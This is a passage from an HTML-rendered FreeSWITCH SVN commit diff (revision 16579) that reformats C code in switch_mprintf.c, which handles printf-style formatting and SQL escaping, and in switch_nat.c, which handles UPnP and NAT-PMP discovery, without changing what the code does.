-        /* The decimal point */
-        if ( flag_dp ){
-          *(bufpt++) = '.';
-        }
-        /* &quot;0&quot; digits after the decimal point but before the first
-        ** significant digit of the number */
-        for(e2++; e2&lt;0 &amp;&amp; precision&gt;0; precision--, e2++){
-          *(bufpt++) = '0';
-        }
-        /* Significant digits after the decimal point */
-        while( (precision--)&gt;0 ){
-          *(bufpt++) = (char)et_getdigit(&amp;realvalue,&amp;nsd);
-        }
-        /* Remove trailing zeros and the &quot;.&quot; if no digits follow the &quot;.&quot; */
-        if ( flag_rtz &amp;&amp; flag_dp ){
-          while( bufpt[-1]=='0' ) *(--bufpt) = 0;
-          assert( bufpt&gt;buf );
-          if ( bufpt[-1]=='.' ){
-            if ( flag_altform2 ){
-              *(bufpt++) = '0';
-            }else{
-              *(--bufpt) = 0;
-            }
-          }
-        }
-        /* Add the &quot;eNNN&quot; suffix */
-        if ( flag_exp || (xtype==etEXP &amp;&amp; exp) ){
-          *(bufpt++) = aDigits[infop-&gt;charset];
-          if ( exp&lt;0 ){
-            *(bufpt++) = '-'; exp = -exp;
-          }else{
-            *(bufpt++) = '+';
-          }
-          if ( exp&gt;=100 ){
-            *(bufpt++) = (char)(exp/100)+'0';                /* 100's digit */
-            exp %= 100;
-          }
-          *(bufpt++) = (char)exp/10+'0';                     /* 10's digit */
-          *(bufpt++) = exp%10+'0';                     /* 1's digit */
-        }
-        *bufpt = 0;
</del><ins>+                        if (xtype == etFLOAT)
+                                realvalue += rounder;
+                        /* Normalize realvalue to within 10.0 &gt; realvalue &gt;= 1.0 */
+                        exp = 0;
+                        if (realvalue &gt; 0.0) {
+                                while (realvalue &gt;= 1e32 &amp;&amp; exp &lt;= 350) {
+                                        realvalue *= 1e-32;
+                                        exp += 32;
+                                }
+                                while (realvalue &gt;= 1e8 &amp;&amp; exp &lt;= 350) {
+                                        realvalue *= 1e-8;
+                                        exp += 8;
+                                }
+                                while (realvalue &gt;= 10.0 &amp;&amp; exp &lt;= 350) {
+                                        realvalue *= 0.1;
+                                        exp++;
+                                }
+                                while (realvalue &lt; 1e-8 &amp;&amp; exp &gt;= -350) {
+                                        realvalue *= 1e8;
+                                        exp -= 8;
+                                }
+                                while (realvalue &lt; 1.0 &amp;&amp; exp &gt;= -350) {
+                                        realvalue *= 10.0;
+                                        exp--;
+                                }
+                                if (exp &gt; 350 || exp &lt; -350) {
+                                        bufpt = &quot;NaN&quot;;
+                                        length = 3;
+                                        break;
+                                }
+                        }
+                        bufpt = buf;
+                        /*
+                         ** If the field type is etGENERIC, then convert to either etEXP
+                         ** or etFLOAT, as appropriate.
+                         */
+                        flag_exp = xtype == etEXP;
+                        if (xtype != etFLOAT) {
+                                realvalue += rounder;
+                                if (realvalue &gt;= 10.0) {
+                                        realvalue *= 0.1;
+                                        exp++;
+                                }
+                        }
+                        if (xtype == etGENERIC) {
+                                flag_rtz = !flag_alternateform;
+                                if (exp &lt; -4 || exp &gt; precision) {
+                                        xtype = etEXP;
+                                } else {
+                                        precision = precision - exp;
+                                        xtype = etFLOAT;
+                                }
+                        } else {
+                                flag_rtz = 0;
+                        }
+                        if (xtype == etEXP) {
+                                e2 = 0;
+                        } else {
+                                e2 = exp;
+                        }
+                        nsd = 0;
+                        flag_dp = (precision &gt; 0) | flag_alternateform | flag_altform2;
+                        /* The sign in front of the number */
+                        if (prefix) {
+                                *(bufpt++) = prefix;
+                        }
+                        /* Digits prior to the decimal point */
+                        if (e2 &lt; 0) {
+                                *(bufpt++) = '0';
+                        } else {
+                                for (; e2 &gt;= 0; e2--) {
+                                        *(bufpt++) = (char) et_getdigit(&amp;realvalue, &amp;nsd);
+                                }
+                        }
+                        /* The decimal point */
+                        if (flag_dp) {
+                                *(bufpt++) = '.';
+                        }
+                        /* &quot;0&quot; digits after the decimal point but before the first
+                         ** significant digit of the number */
+                        for (e2++; e2 &lt; 0 &amp;&amp; precision &gt; 0; precision--, e2++) {
+                                *(bufpt++) = '0';
+                        }
+                        /* Significant digits after the decimal point */
+                        while ((precision--) &gt; 0) {
+                                *(bufpt++) = (char) et_getdigit(&amp;realvalue, &amp;nsd);
+                        }
+                        /* Remove trailing zeros and the &quot;.&quot; if no digits follow the &quot;.&quot; */
+                        if (flag_rtz &amp;&amp; flag_dp) {
+                                while (bufpt[-1] == '0')
+                                        *(--bufpt) = 0;
+                                assert(bufpt &gt; buf);
+                                if (bufpt[-1] == '.') {
+                                        if (flag_altform2) {
+                                                *(bufpt++) = '0';
+                                        } else {
+                                                *(--bufpt) = 0;
+                                        }
+                                }
+                        }
+                        /* Add the &quot;eNNN&quot; suffix */
+                        if (flag_exp || (xtype == etEXP &amp;&amp; exp)) {
+                                *(bufpt++) = aDigits[infop-&gt;charset];
+                                if (exp &lt; 0) {
+                                        *(bufpt++) = '-';
+                                        exp = -exp;
+                                } else {
+                                        *(bufpt++) = '+';
+                                }
+                                if (exp &gt;= 100) {
+                                        *(bufpt++) = (char) (exp / 100) + '0';        /* 100's digit */
+                                        exp %= 100;
+                                }
+                                *(bufpt++) = (char) exp / 10 + '0';        /* 10's digit */
+                                *(bufpt++) = exp % 10 + '0';        /* 1's digit */
+                        }
+                        *bufpt = 0;
</ins><span class="cx"> 
</span><del>-        /* The converted number is in buf[] and zero terminated. Output it.
-        ** Note that the number is in the usual order, not reversed as with
-        ** integer conversions. */
-        length = bufpt-buf;
-        bufpt = buf;
</del><ins>+                        /* The converted number is in buf[] and zero terminated. Output it.
+                         ** Note that the number is in the usual order, not reversed as with
+                         ** integer conversions. */
+                        length = bufpt - buf;
+                        bufpt = buf;
</ins><span class="cx"> 
</span><del>-        /* Special case:  Add leading zeros if the flag_zeropad flag is
-        ** set and we are not left justified */
-        if ( flag_zeropad &amp;&amp; !flag_leftjustify &amp;&amp; length &lt; width){
-          int i;
-          int nPad = width - length;
-          for(i=width; i&gt;=nPad; i--){
-            bufpt[i] = bufpt[i-nPad];
-          }
-          i = prefix!=0;
-          while( nPad-- ) bufpt[i++] = '0';
-          length = width;
-        }
</del><ins>+                        /* Special case:  Add leading zeros if the flag_zeropad flag is
+                         ** set and we are not left justified */
+                        if (flag_zeropad &amp;&amp; !flag_leftjustify &amp;&amp; length &lt; width) {
+                                int i;
+                                int nPad = width - length;
+                                for (i = width; i &gt;= nPad; i--) {
+                                        bufpt[i] = bufpt[i - nPad];
+                                }
+                                i = prefix != 0;
+                                while (nPad--)
+                                        bufpt[i++] = '0';
+                                length = width;
+                        }
</ins><span class="cx"> #endif
</span><del>-        break;
-      case etSIZE:
-        *(va_arg(ap,int*)) = count;
-        length = width = 0;
-        break;
-      case etPERCENT:
-        buf[0] = '%';
-        bufpt = buf;
-        length = 1;
-        break;
-      case etCHARLIT:
-      case etCHARX:
-        c = buf[0] = (char)(xtype==etCHARX ? va_arg(ap,int) : *++fmt);
-        if ( precision&gt;=0 ){
-          for(idx=1; idx&lt;precision; idx++) buf[idx] = (char)c;
-          length = precision;
-        }else{
-          length =1;
-        }
-        bufpt = buf;
-        break;
-      case etSTRING:
-      case etDYNSTRING:
-        bufpt = va_arg(ap,char*);
-        if ( bufpt==0 ){
-          bufpt = &quot;&quot;;
-        }else if ( xtype==etDYNSTRING ){
-          zExtra = bufpt;
-        }
-        length = strlen(bufpt);
-        if ( precision&gt;=0 &amp;&amp; precision&lt;length ) length = precision;
-        break;
-      case etSQLESCAPE:
-      case etSQLESCAPE2:
-      case etSQLESCAPE3: {
-        int i, j, n, ch, isnull;
-        int needQuote;
-        char *escarg = va_arg(ap,char*);
-        isnull = escarg==0;
-        if ( isnull ) escarg = (xtype==etSQLESCAPE2 ? &quot;NULL&quot; : &quot;(NULL)&quot;);
-        for(i=n=0; (ch=escarg[i])!=0; i++){
-                        if ( ch=='\'' || (xtype==etSQLESCAPE3 &amp;&amp; ch=='\\')) n++;
-        }
-        needQuote = !isnull &amp;&amp; xtype==etSQLESCAPE2;
-        n += i + 1 + needQuote*2;
-        if ( n&gt;etBUFSIZE ){
-          bufpt = zExtra = malloc( n );
-          if ( bufpt==0 ) return -1;
-        }else{
-          bufpt = buf;
-        }
-        j = 0;
-        if ( needQuote ) bufpt[j++] = '\'';
-        for(i=0; (ch=escarg[i])!=0; i++){
-          bufpt[j++] = (char)ch;
-          if ( ch=='\'' || ( xtype==etSQLESCAPE3 &amp;&amp; ch=='\\')) bufpt[j++] = (char)ch;
-        }
-        if ( needQuote ) bufpt[j++] = '\'';
-        bufpt[j] = 0;
-        length = j;
-        /* The precision is ignored on %q and %Q */
-        /* if ( precision&gt;=0 &amp;&amp; precision&lt;length ) length = precision; */
-        break;
-      }
</del><ins>+                        break;
+                case etSIZE:
+                        *(va_arg(ap, int *)) = count;
+                        length = width = 0;
+                        break;
+                case etPERCENT:
+                        buf[0] = '%';
+                        bufpt = buf;
+                        length = 1;
+                        break;
+                case etCHARLIT:
+                case etCHARX:
+                        c = buf[0] = (char) (xtype == etCHARX ? va_arg(ap, int) : *++fmt);
+                        if (precision &gt;= 0) {
+                                for (idx = 1; idx &lt; precision; idx++)
+                                        buf[idx] = (char) c;
+                                length = precision;
+                        } else {
+                                length = 1;
+                        }
+                        bufpt = buf;
+                        break;
+                case etSTRING:
+                case etDYNSTRING:
+                        bufpt = va_arg(ap, char *);
+                        if (bufpt == 0) {
+                                bufpt = &quot;&quot;;
+                        } else if (xtype == etDYNSTRING) {
+                                zExtra = bufpt;
+                        }
+                        length = strlen(bufpt);
+                        if (precision &gt;= 0 &amp;&amp; precision &lt; length)
+                                length = precision;
+                        break;
+                case etSQLESCAPE:
+                case etSQLESCAPE2:
+                case etSQLESCAPE3:{
+                                int i, j, n, ch, isnull;
+                                int needQuote;
+                                char *escarg = va_arg(ap, char *);
+                                isnull = escarg == 0;
+                                if (isnull)
+                                        escarg = (xtype == etSQLESCAPE2 ? &quot;NULL&quot; : &quot;(NULL)&quot;);
+                                for (i = n = 0; (ch = escarg[i]) != 0; i++) {
+                                        if (ch == '\'' || (xtype == etSQLESCAPE3 &amp;&amp; ch == '\\'))
+                                                n++;
+                                }
+                                needQuote = !isnull &amp;&amp; xtype == etSQLESCAPE2;
+                                n += i + 1 + needQuote * 2;
+                                if (n &gt; etBUFSIZE) {
+                                        bufpt = zExtra = malloc(n);
+                                        if (bufpt == 0)
+                                                return -1;
+                                } else {
+                                        bufpt = buf;
+                                }
+                                j = 0;
+                                if (needQuote)
+                                        bufpt[j++] = '\'';
+                                for (i = 0; (ch = escarg[i]) != 0; i++) {
+                                        bufpt[j++] = (char) ch;
+                                        if (ch == '\'' || (xtype == etSQLESCAPE3 &amp;&amp; ch == '\\'))
+                                                bufpt[j++] = (char) ch;
+                                }
+                                if (needQuote)
+                                        bufpt[j++] = '\'';
+                                bufpt[j] = 0;
+                                length = j;
+                                /* The precision is ignored on %q and %Q */
+                                /* if ( precision&gt;=0 &amp;&amp; precision&lt;length ) length = precision; */
+                                break;
+                        }
</ins><span class="cx"> #ifdef __UNSUPPORTED__
</span><del>-      case etTOKEN: {
-        Token *pToken = va_arg(ap, Token*);
-        if ( pToken &amp;&amp; pToken-&gt;z ){
-          (*func)(arg, (char*)pToken-&gt;z, pToken-&gt;n);
-        }
-        length = width = 0;
-        break;
-      }
-      case etSRCLIST: {
-        SrcList *pSrc = va_arg(ap, SrcList*);
-        int k = va_arg(ap, int);
-        struct SrcList_item *pItem = &amp;pSrc-&gt;a[k];
-        assert( k&gt;=0 &amp;&amp; k&lt;pSrc-&gt;nSrc );
-        if ( pItem-&gt;zDatabase &amp;&amp; pItem-&gt;zDatabase[0] ){
-          (*func)(arg, pItem-&gt;zDatabase, strlen(pItem-&gt;zDatabase));
-          (*func)(arg, &quot;.&quot;, 1);
-        }
-        (*func)(arg, pItem-&gt;zName, strlen(pItem-&gt;zName));
-        length = width = 0;
-        break;
-      }
</del><ins>+                case etTOKEN:{
+                                Token *pToken = va_arg(ap, Token *);
+                                if (pToken &amp;&amp; pToken-&gt;z) {
+                                        (*func) (arg, (char *) pToken-&gt;z, pToken-&gt;n);
+                                }
+                                length = width = 0;
+                                break;
+                        }
+                case etSRCLIST:{
+                                SrcList *pSrc = va_arg(ap, SrcList *);
+                                int k = va_arg(ap, int);
+                                struct SrcList_item *pItem = &amp;pSrc-&gt;a[k];
+                                assert(k &gt;= 0 &amp;&amp; k &lt; pSrc-&gt;nSrc);
+                                if (pItem-&gt;zDatabase &amp;&amp; pItem-&gt;zDatabase[0]) {
+                                        (*func) (arg, pItem-&gt;zDatabase, strlen(pItem-&gt;zDatabase));
+                                        (*func) (arg, &quot;.&quot;, 1);
+                                }
+                                (*func) (arg, pItem-&gt;zName, strlen(pItem-&gt;zName));
+                                length = width = 0;
+                                break;
+                        }
</ins><span class="cx"> #endif
</span><del>-    }/* End switch over the format type */
-    /*
-    ** The text of the conversion is pointed to by &quot;bufpt&quot; and is
-    ** &quot;length&quot; characters long.  The field width is &quot;width&quot;.  Do
-    ** the output.
-    */
-    if ( !flag_leftjustify ){
-      register int nspace;
-      nspace = width-length;
-      if ( nspace&gt;0 ){
-        count += nspace;
-        while( nspace&gt;=etSPACESIZE ){
-          (*func)(arg,spaces,etSPACESIZE);
-          nspace -= etSPACESIZE;
-        }
-        if ( nspace&gt;0 ) (*func)(arg,spaces,nspace);
-      }
-    }
-    if ( length&gt;0 ){
-      (*func)(arg,bufpt,length);
-      count += length;
-    }
-    if ( flag_leftjustify ){
-      register int nspace;
-      nspace = width-length;
-      if ( nspace&gt;0 ){
-        count += nspace;
-        while( nspace&gt;=etSPACESIZE ){
-          (*func)(arg,spaces,etSPACESIZE);
-          nspace -= etSPACESIZE;
-        }
-        if ( nspace&gt;0 ) (*func)(arg,spaces,nspace);
-      }
-    }
-    if ( zExtra ){
-      free(zExtra);
-    }
-  }/* End for loop over the format string */
-  return errorflag ? -1 : count;
-} /* End of function */
</del><ins>+                }                                                /* End switch over the format type */
+                /*
+                 ** The text of the conversion is pointed to by &quot;bufpt&quot; and is
+                 ** &quot;length&quot; characters long.  The field width is &quot;width&quot;.  Do
+                 ** the output.
+                 */
+                if (!flag_leftjustify) {
+                        register int nspace;
+                        nspace = width - length;
+                        if (nspace &gt; 0) {
+                                count += nspace;
+                                while (nspace &gt;= etSPACESIZE) {
+                                        (*func) (arg, spaces, etSPACESIZE);
+                                        nspace -= etSPACESIZE;
+                                }
+                                if (nspace &gt; 0)
+                                        (*func) (arg, spaces, nspace);
+                        }
+                }
+                if (length &gt; 0) {
+                        (*func) (arg, bufpt, length);
+                        count += length;
+                }
+                if (flag_leftjustify) {
+                        register int nspace;
+                        nspace = width - length;
+                        if (nspace &gt; 0) {
+                                count += nspace;
+                                while (nspace &gt;= etSPACESIZE) {
+                                        (*func) (arg, spaces, etSPACESIZE);
+                                        nspace -= etSPACESIZE;
+                                }
+                                if (nspace &gt; 0)
+                                        (*func) (arg, spaces, nspace);
+                        }
+                }
+                if (zExtra) {
+                        free(zExtra);
+                }
+        }                                                        /* End for loop over the format string */
+        return errorflag ? -1 : count;
+}                                                                /* End of function */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* This structure is used to store state information about the
</span><span class="cx"> ** write to memory that is currently in progress.
</span><span class="cx"> */
</span><span class="cx"> struct sgMprintf {
</span><del>-  char *zBase;     /* A base allocation */
-  char *zText;     /* The string collected so far */
-  int  nChar;      /* Length of the string so far */
-  int  nTotal;     /* Output size if unconstrained */
-  int  nAlloc;     /* Amount of space allocated in zText */
-  void *(*xRealloc)(void*,int);  /* Function used to realloc memory */
</del><ins>+        char *zBase;                                /* A base allocation */
+        char *zText;                                /* The string collected so far */
+        int nChar;                                        /* Length of the string so far */
+        int nTotal;                                        /* Output size if unconstrained */
+        int nAlloc;                                        /* Amount of space allocated in zText */
+        void *(*xRealloc) (void *, int);        /* Function used to realloc memory */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -728,69 +797,70 @@
</span><span class="cx"> ** This routine add nNewChar characters of text in zNewText to
</span><span class="cx"> ** the sgMprintf structure pointed to by &quot;arg&quot;.
</span><span class="cx"> */
</span><del>-static void mout(void *arg, const char *zNewText, int nNewChar){
-  struct sgMprintf *pM = (struct sgMprintf*)arg;
-  pM-&gt;nTotal += nNewChar;
-  if ( pM-&gt;nChar + nNewChar + 1 &gt; pM-&gt;nAlloc ){
-    if ( pM-&gt;xRealloc==0 ){
-      nNewChar =  pM-&gt;nAlloc - pM-&gt;nChar - 1;
-    }else{
-      pM-&gt;nAlloc = pM-&gt;nChar + nNewChar*2 + 1;
-      if ( pM-&gt;zText==pM-&gt;zBase ){
-        pM-&gt;zText = pM-&gt;xRealloc(0, pM-&gt;nAlloc);
-        if ( pM-&gt;zText &amp;&amp; pM-&gt;nChar ){
-          memcpy(pM-&gt;zText, pM-&gt;zBase, pM-&gt;nChar);
-        }
-      }else{
-        char *zNew;
-        zNew = pM-&gt;xRealloc(pM-&gt;zText, pM-&gt;nAlloc);
-        if ( zNew ){
-          pM-&gt;zText = zNew;
-        }
-      }
-    }
-  }
-  if ( pM-&gt;zText ){
-    if ( nNewChar&gt;0 ){
-      memcpy(&amp;pM-&gt;zText[pM-&gt;nChar], zNewText, nNewChar);
-      pM-&gt;nChar += nNewChar;
-    }
-    pM-&gt;zText[pM-&gt;nChar] = 0;
-  }
</del><ins>+static void mout(void *arg, const char *zNewText, int nNewChar)
+{
+        struct sgMprintf *pM = (struct sgMprintf *) arg;
+        pM-&gt;nTotal += nNewChar;
+        if (pM-&gt;nChar + nNewChar + 1 &gt; pM-&gt;nAlloc) {
+                if (pM-&gt;xRealloc == 0) {
+                        nNewChar = pM-&gt;nAlloc - pM-&gt;nChar - 1;
+                } else {
+                        pM-&gt;nAlloc = pM-&gt;nChar + nNewChar * 2 + 1;
+                        if (pM-&gt;zText == pM-&gt;zBase) {
+                                pM-&gt;zText = pM-&gt;xRealloc(0, pM-&gt;nAlloc);
+                                if (pM-&gt;zText &amp;&amp; pM-&gt;nChar) {
+                                        memcpy(pM-&gt;zText, pM-&gt;zBase, pM-&gt;nChar);
+                                }
+                        } else {
+                                char *zNew;
+                                zNew = pM-&gt;xRealloc(pM-&gt;zText, pM-&gt;nAlloc);
+                                if (zNew) {
+                                        pM-&gt;zText = zNew;
+                                }
+                        }
+                }
+        }
+        if (pM-&gt;zText) {
+                if (nNewChar &gt; 0) {
+                        memcpy(&amp;pM-&gt;zText[pM-&gt;nChar], zNewText, nNewChar);
+                        pM-&gt;nChar += nNewChar;
+                }
+                pM-&gt;zText[pM-&gt;nChar] = 0;
+        }
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="cx"> ** This routine is a wrapper around xprintf() that invokes mout() as
</span><span class="cx"> ** the consumer.
</span><span class="cx"> */
</span><del>-static char *base_vprintf(
-  void *(*xRealloc)(void*,int),   /* Routine to realloc memory. May be NULL */
-  int useInternal,                /* Use internal %-conversions if true */
-  char *zInitBuf,                 /* Initially write here, before mallocing */
-  int nInitBuf,                   /* Size of zInitBuf[] */
-  const char *zFormat,            /* format string */
-  va_list ap                      /* arguments */
-){
-  struct sgMprintf sM;
-  sM.zBase = sM.zText = zInitBuf;
-  sM.nChar = sM.nTotal = 0;
-  sM.nAlloc = nInitBuf;
-  sM.xRealloc = xRealloc;
-  vxprintf(mout, &amp;sM, useInternal, zFormat, ap);
-  if ( xRealloc ){
-    if ( sM.zText==sM.zBase ){
-      sM.zText = xRealloc(0, sM.nChar+1);
-      if ( sM.zText ){
-        memcpy(sM.zText, sM.zBase, sM.nChar+1);
-      }
-    }else if ( sM.nAlloc&gt;sM.nChar+10 ){
-      char *zNew = xRealloc(sM.zText, sM.nChar+1);
-      if ( zNew ){
-        sM.zText = zNew;
-      }
-    }
-  }
-  return sM.zText;
</del><ins>+static char *base_vprintf(void *(*xRealloc) (void *, int),        /* Routine to realloc memory. May be NULL */
+                                                  int useInternal,        /* Use internal %-conversions if true */
+                                                  char *zInitBuf,        /* Initially write here, before mallocing */
+                                                  int nInitBuf,        /* Size of zInitBuf[] */
+                                                  const char *zFormat,        /* format string */
+                                                  va_list ap        /* arguments */
+        )
+{
+        struct sgMprintf sM;
+        sM.zBase = sM.zText = zInitBuf;
+        sM.nChar = sM.nTotal = 0;
+        sM.nAlloc = nInitBuf;
+        sM.xRealloc = xRealloc;
+        vxprintf(mout, &amp;sM, useInternal, zFormat, ap);
+        if (xRealloc) {
+                if (sM.zText == sM.zBase) {
+                        sM.zText = xRealloc(0, sM.nChar + 1);
+                        if (sM.zText) {
+                                memcpy(sM.zText, sM.zBase, sM.nChar + 1);
+                        }
+                } else if (sM.nAlloc &gt; sM.nChar + 10) {
+                        char *zNew = xRealloc(sM.zText, sM.nChar + 1);
+                        if (zNew) {
+                                sM.zText = zNew;
+                        }
+                }
+        }
+        return sM.zText;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -798,7 +868,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void *printf_realloc(void *old, int size)
</span><span class="cx"> {
</span><del>-  return realloc(old,size);
</del><ins>+        return realloc(old, size);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -806,8 +876,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
</span><span class="cx"> {
</span><del>-  char zBase[SWITCH_PRINT_BUF_SIZE];
-  return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
</del><ins>+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        return base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -815,13 +885,13 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
</span><span class="cx"> {
</span><del>-  va_list ap;
-  char *z;
-  char zBase[SWITCH_PRINT_BUF_SIZE];
-  va_start(ap, zFormat);
-  z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
-  va_end(ap);
-  return z;
</del><ins>+        va_list ap;
+        char *z;
+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        va_start(ap, zFormat);
+        z = base_vprintf(printf_realloc, 1, zBase, sizeof(zBase), zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #ifdef __UNUSED__
</span><span class="lines">@@ -830,8 +900,8 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_vmprintf(const char *zFormat, va_list ap)
</span><span class="cx"> {
</span><del>-  char zBase[SWITCH_PRINT_BUF_SIZE];
-  return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
</del><ins>+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        return base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -839,13 +909,13 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_mprintf(const char *zFormat, ...)
</span><span class="cx"> {
</span><del>-  va_list ap;
-  char *z;
-  char zBase[SWITCH_PRINT_BUF_SIZE];
-  va_start(ap, zFormat);
-  z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
-  va_end(ap);
-  return z;
</del><ins>+        va_list ap;
+        char *z;
+        char zBase[SWITCH_PRINT_BUF_SIZE];
+        va_start(ap, zFormat);
+        z = base_vprintf(printf_realloc, 0, zBase, sizeof(zBase), zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -856,12 +926,12 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(char *) switch_snprintf(int n, char *zBuf, const char *zFormat, ...)
</span><span class="cx"> {
</span><del>-  char *z;
-  va_list ap;
</del><ins>+        char *z;
+        va_list ap;
</ins><span class="cx"> 
</span><del>-  va_start(ap,zFormat);
-  z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
-  va_end(ap);
-  return z;
</del><ins>+        va_start(ap, zFormat);
+        z = base_vprintf(0, 0, zBuf, n, zFormat, ap);
+        va_end(ap);
+        return z;
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_natc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_nat.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_nat.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_nat.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -67,12 +67,11 @@
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t get_upnp_pubaddr(char *pub_addr)
</span><span class="cx"> {
</span><del>-        if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL,
-                                                                   nat_globals.data.servicetype,
-                                                                   pub_addr) == UPNPCOMMAND_SUCCESS) {
</del><ins>+        if (UPNP_GetExternalIPAddress(nat_globals.urls.controlURL, nat_globals.data.servicetype, pub_addr) == UPNPCOMMAND_SUCCESS) {
</ins><span class="cx">                 if (!strcmp(pub_addr, &quot;0.0.0.0&quot;) || zstr_buf(pub_addr)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
-                                                          &quot;uPNP Device (url: %s) returned an invalid external address of '%s'.  Disabling uPNP\n&quot;, nat_globals.urls.controlURL, pub_addr);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                                          &quot;uPNP Device (url: %s) returned an invalid external address of '%s'.  Disabling uPNP\n&quot;, nat_globals.urls.controlURL,
+                                                          pub_addr);
</ins><span class="cx">                         return SWITCH_STATUS_GENERR;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="lines">@@ -81,11 +80,11 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static int init_upnp (void)
</del><ins>+static int init_upnp(void)
</ins><span class="cx"> {
</span><span class="cx">         struct UPNPDev *devlist;
</span><span class="cx">         struct UPNPDev *dev;
</span><del>-        char * descXML;
</del><ins>+        char *descXML;
</ins><span class="cx">         int descXMLsize = 0;
</span><span class="cx">         const char *multicastif = 0;
</span><span class="cx">         const char *minissdpdpath = 0;
</span><span class="lines">@@ -97,24 +96,25 @@
</span><span class="cx">         if (devlist) {
</span><span class="cx">                 dev = devlist;
</span><span class="cx">                 while (dev) {
</span><del>-                        if (strstr (dev-&gt;st, &quot;InternetGatewayDevice&quot;)) {
</del><ins>+                        if (strstr(dev-&gt;st, &quot;InternetGatewayDevice&quot;)) {
</ins><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                         dev = dev-&gt;pNext;
</span><span class="cx">                 }
</span><span class="cx">                 if (!dev) {
</span><del>-                        dev = devlist; /* defaulting to first device */
</del><ins>+                        dev = devlist;                /* defaulting to first device */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;No InternetGatewayDevice, using first entry as default (%s).\n&quot;, dev-&gt;descURL);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 descXML = miniwget(dev-&gt;descURL, &amp;descXMLsize);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 nat_globals.descURL = strdup(dev-&gt;descURL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (descXML) {
</span><del>-                        parserootdesc (descXML, descXMLsize, &amp;nat_globals.data);
-                        free (descXML); descXML = 0;
-                        GetUPNPUrls (&amp;nat_globals.urls, &amp;nat_globals.data, dev-&gt;descURL);
</del><ins>+                        parserootdesc(descXML, descXMLsize, &amp;nat_globals.data);
+                        free(descXML);
+                        descXML = 0;
+                        GetUPNPUrls(&amp;nat_globals.urls, &amp;nat_globals.data, dev-&gt;descURL);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Unable to retrieve device description XML (%s).\n&quot;, dev-&gt;descURL);
</span><span class="cx">                 }
</span><span class="lines">@@ -138,7 +138,7 @@
</span><span class="cx">         fd_set fds;
</span><span class="cx">         natpmp_t natpmp;
</span><span class="cx">         const char *err = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((r = initnatpmp(&amp;natpmp)) &lt; 0) {
</span><span class="cx">                 err = &quot;init failed&quot;;
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         do {
</span><del>-                struct timeval timeout = { 1, 0};
</del><ins>+                struct timeval timeout = { 1, 0 };
</ins><span class="cx">                 i++;
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Checking for PMP %d/%d\n&quot;, i, max);
</span><span class="cx"> 
</span><span class="lines">@@ -167,7 +167,7 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 r = readnatpmpresponseorretry(&amp;natpmp, &amp;response);
</span><del>-        } while(r == NATPMP_TRYAGAIN &amp;&amp; i &lt; max);
</del><ins>+        } while (r == NATPMP_TRYAGAIN &amp;&amp; i &lt; max);
</ins><span class="cx"> 
</span><span class="cx">         if (r &lt; 0) {
